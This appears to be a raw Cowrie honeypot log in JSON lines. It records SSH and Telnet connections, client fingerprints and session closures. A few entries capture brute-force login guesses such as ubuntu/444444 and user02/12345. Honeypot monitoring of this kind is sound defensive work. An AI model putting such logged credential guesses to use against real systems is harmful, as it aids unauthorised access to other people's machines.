{"eventid":"cowrie.login.failed","username":"ubuntu","password":"444444","message":"login attempt [ubuntu/444444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:39:21.461633Z","src_ip":"202.125.94.71","session":"94551cd193eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:39:22.734464Z","src_ip":"202.125.94.71","session":"94551cd193eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.163","src_port":46078,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aa2a460ba02","protocol":"telnet","message":"New connection: 66.132.186.163:46078 (10.17.0.5:23) [session: 0aa2a460ba02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:10.917324Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.22.82.101","src_port":53536,"dst_ip":"159.203.135.109","dst_port":23,"session":"85b8a3dfb46d","protocol":"telnet","message":"New connection: 116.22.82.101:53536 (159.203.135.109:23) [session: 85b8a3dfb46d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:11.329523Z"}
{"eventid":"cowrie.session.closed","duration":13.018506288528442,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:24.347904Z","src_ip":"116.22.82.101","session":"85b8a3dfb46d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.433023691177368,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:26.350249Z","src_ip":"66.132.186.163","session":"0aa2a460ba02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.163","src_port":33740,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef3643bbc570","protocol":"telnet","message":"New connection: 66.132.186.163:33740 (10.17.0.5:23) [session: ef3643bbc570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:31.252765Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.108","src_port":23974,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8e4b0d82844","protocol":"telnet","message":"New connection: 66.132.172.108:23974 (10.17.0.5:23) [session: e8e4b0d82844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:31.635579Z"}
{"eventid":"cowrie.session.closed","duration":3.593635082244873,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:34.846268Z","src_ip":"66.132.186.163","session":"ef3643bbc570","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.102","src_port":50562,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e0b3add9098","protocol":"ssh","message":"New connection: 66.132.195.102:50562 (159.203.135.109:22) [session: 8e0b3add9098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:38.266258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:38.274101Z","src_ip":"66.132.195.102","session":"8e0b3add9098","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:38.300296Z","src_ip":"66.132.195.102","session":"8e0b3add9098","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.163","src_port":33744,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ef485e3f46f","protocol":"telnet","message":"New connection: 66.132.186.163:33744 (10.17.0.5:23) [session: 1ef485e3f46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:38.708617Z"}
{"eventid":"cowrie.session.closed","duration":15.099345684051514,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:46.734812Z","src_ip":"66.132.172.108","session":"e8e4b0d82844","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.655876874923706,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:49.364390Z","src_ip":"66.132.186.163","session":"1ef485e3f46f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.108","src_port":28408,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2c53eb2bb01","protocol":"telnet","message":"New connection: 66.132.172.108:28408 (10.17.0.5:23) [session: b2c53eb2bb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:52.040854Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.206","src_port":17558,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0294377963e","protocol":"telnet","message":"New connection: 66.132.186.206:17558 (10.17.0.5:23) [session: d0294377963e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:53.202837Z"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:53.268426Z","src_ip":"66.132.195.102","session":"8e0b3add9098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.1679043769836426,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:55.208666Z","src_ip":"66.132.172.108","session":"b2c53eb2bb01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.108","src_port":28512,"dst_ip":"10.17.0.5","dst_port":23,"session":"5137c1bd1a4d","protocol":"telnet","message":"New connection: 66.132.172.108:28512 (10.17.0.5:23) [session: 5137c1bd1a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:40:59.061006Z"}
{"eventid":"cowrie.session.closed","duration":15.029657363891602,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:41:08.232416Z","src_ip":"66.132.186.206","session":"d0294377963e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33292,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6c16ad6b668","protocol":"telnet","message":"New connection: 45.58.127.90:33292 (10.17.0.5:23) [session: e6c16ad6b668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:41:08.886361Z"}
{"eventid":"cowrie.session.closed","duration":10.04800009727478,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:41:09.108848Z","src_ip":"66.132.172.108","session":"5137c1bd1a4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.206","src_port":30420,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcb776c144a4","protocol":"telnet","message":"New connection: 66.132.186.206:30420 (10.17.0.5:23) [session: fcb776c144a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:41:11.258043Z"}
{"eventid":"cowrie.session.closed","duration":3.00095534324646,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:41:14.258861Z","src_ip":"66.132.186.206","session":"fcb776c144a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.206","src_port":30452,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb8068bb340","protocol":"telnet","message":"New connection: 66.132.186.206:30452 (10.17.0.5:23) [session: ceb8068bb340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:41:17.283473Z"}
{"eventid":"cowrie.session.closed","duration":10.04926347732544,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:41:27.332619Z","src_ip":"66.132.186.206","session":"ceb8068bb340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55892,"dst_ip":"10.17.0.5","dst_port":23,"session":"9efe20f0ea5a","protocol":"telnet","message":"New connection: 45.58.127.90:55892 (10.17.0.5:23) [session: 9efe20f0ea5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:41:43.248490Z"}
{"eventid":"cowrie.session.closed","duration":41.881136655807495,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:41:50.767391Z","src_ip":"45.58.127.90","session":"e6c16ad6b668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.55791902542114,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:42:21.806285Z","src_ip":"45.58.127.90","session":"9efe20f0ea5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.133.207","src_port":44728,"dst_ip":"10.17.0.5","dst_port":23,"session":"733f045bc248","protocol":"telnet","message":"New connection: 45.232.133.207:44728 (10.17.0.5:23) [session: 733f045bc248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:45:15.019637Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54128,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f293029c4b6","protocol":"telnet","message":"New connection: 45.58.127.90:54128 (10.17.0.5:23) [session: 3f293029c4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:45:15.834573Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51194,"dst_ip":"10.17.0.5","dst_port":23,"session":"48c85bede0fb","protocol":"telnet","message":"New connection: 45.58.127.90:51194 (10.17.0.5:23) [session: 48c85bede0fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:45:42.358715Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51200,"dst_ip":"10.17.0.5","dst_port":23,"session":"a59e629a16c8","protocol":"telnet","message":"New connection: 45.58.127.90:51200 (10.17.0.5:23) [session: a59e629a16c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:45:44.177718Z"}
{"eventid":"cowrie.session.closed","duration":30.69611644744873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:45:45.715641Z","src_ip":"45.232.133.207","session":"733f045bc248","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.127607345581055,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:45:53.962035Z","src_ip":"45.58.127.90","session":"3f293029c4b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.72093200683594,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:46:26.079524Z","src_ip":"45.58.127.90","session":"48c85bede0fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.88366770744324,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:46:27.061269Z","src_ip":"45.58.127.90","session":"a59e629a16c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":64504,"dst_ip":"159.203.135.109","dst_port":22,"session":"54a9976ced26","protocol":"ssh","message":"New connection: 141.11.21.145:64504 (159.203.135.109:22) [session: 54a9976ced26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:47:31.215156Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:47:31.295268Z","src_ip":"141.11.21.145","session":"54a9976ced26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":64510,"dst_ip":"159.203.135.109","dst_port":22,"session":"c78e08e8c26f","protocol":"ssh","message":"New connection: 141.11.21.145:64510 (159.203.135.109:22) [session: c78e08e8c26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:47:31.368132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:47:31.373113Z","src_ip":"141.11.21.145","session":"c78e08e8c26f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:47:31.452657Z","src_ip":"141.11.21.145","session":"c78e08e8c26f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lys","password":"lys","message":"login attempt [lys/lys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:47:31.685156Z","src_ip":"141.11.21.145","session":"c78e08e8c26f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:47:32.764632Z","src_ip":"141.11.21.145","session":"c78e08e8c26f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58800,"dst_ip":"10.17.0.5","dst_port":23,"session":"c41d35d90b66","protocol":"telnet","message":"New connection: 45.58.127.90:58800 (10.17.0.5:23) [session: c41d35d90b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:48:46.522677Z"}
{"eventid":"cowrie.session.closed","duration":36.22191047668457,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:49:22.744483Z","src_ip":"45.58.127.90","session":"c41d35d90b66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":6003,"dst_ip":"10.17.0.5","dst_port":22,"session":"334bf6afefc0","protocol":"ssh","message":"New connection: 79.127.181.103:6003 (10.17.0.5:22) [session: 334bf6afefc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:49:34.016510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:49:34.226467Z","src_ip":"79.127.181.103","session":"334bf6afefc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:49:34.431295Z","src_ip":"79.127.181.103","session":"334bf6afefc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:49:34.436969Z","src_ip":"79.127.181.103","session":"334bf6afefc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46008,"dst_ip":"10.17.0.5","dst_port":23,"session":"f81524679578","protocol":"telnet","message":"New connection: 45.58.127.90:46008 (10.17.0.5:23) [session: f81524679578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:50:21.802643Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.123.4.176","src_port":44507,"dst_ip":"10.17.0.5","dst_port":23,"session":"9375db3a2a87","protocol":"telnet","message":"New connection: 2.123.4.176:44507 (10.17.0.5:23) [session: 9375db3a2a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:50:49.785323Z"}
{"eventid":"cowrie.session.closed","duration":35.6730592250824,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:50:57.475558Z","src_ip":"45.58.127.90","session":"f81524679578","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.653401613235474,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:51:03.438594Z","src_ip":"2.123.4.176","session":"9375db3a2a87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.37.34","src_port":36608,"dst_ip":"159.203.135.109","dst_port":22,"session":"4013f3ea84b2","protocol":"ssh","message":"New connection: 103.82.37.34:36608 (159.203.135.109:22) [session: 4013f3ea84b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:51:48.902189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:51:48.907285Z","src_ip":"103.82.37.34","session":"4013f3ea84b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:51:49.160899Z","src_ip":"103.82.37.34","session":"4013f3ea84b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user02","password":"12345","message":"login attempt [user02/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:51:50.206518Z","src_ip":"103.82.37.34","session":"4013f3ea84b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:51:51.463123Z","src_ip":"103.82.37.34","session":"4013f3ea84b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.120","src_port":52211,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9c7f53bd9f2","protocol":"telnet","message":"New connection: 198.235.24.120:52211 (159.203.135.109:23) [session: a9c7f53bd9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:51:52.169419Z"}
{"eventid":"cowrie.session.closed","duration":31.85784411430359,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:52:24.027161Z","src_ip":"198.235.24.120","session":"a9c7f53bd9f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":41158,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ab2b23ea427","protocol":"ssh","message":"New connection: 94.26.106.201:41158 (159.203.135.109:22) [session: 5ab2b23ea427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:26.820186Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:26.823879Z","src_ip":"94.26.106.201","session":"5ab2b23ea427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":41160,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2f5143c2d36","protocol":"ssh","message":"New connection: 94.26.106.201:41160 (159.203.135.109:22) [session: b2f5143c2d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:26.976949Z"}
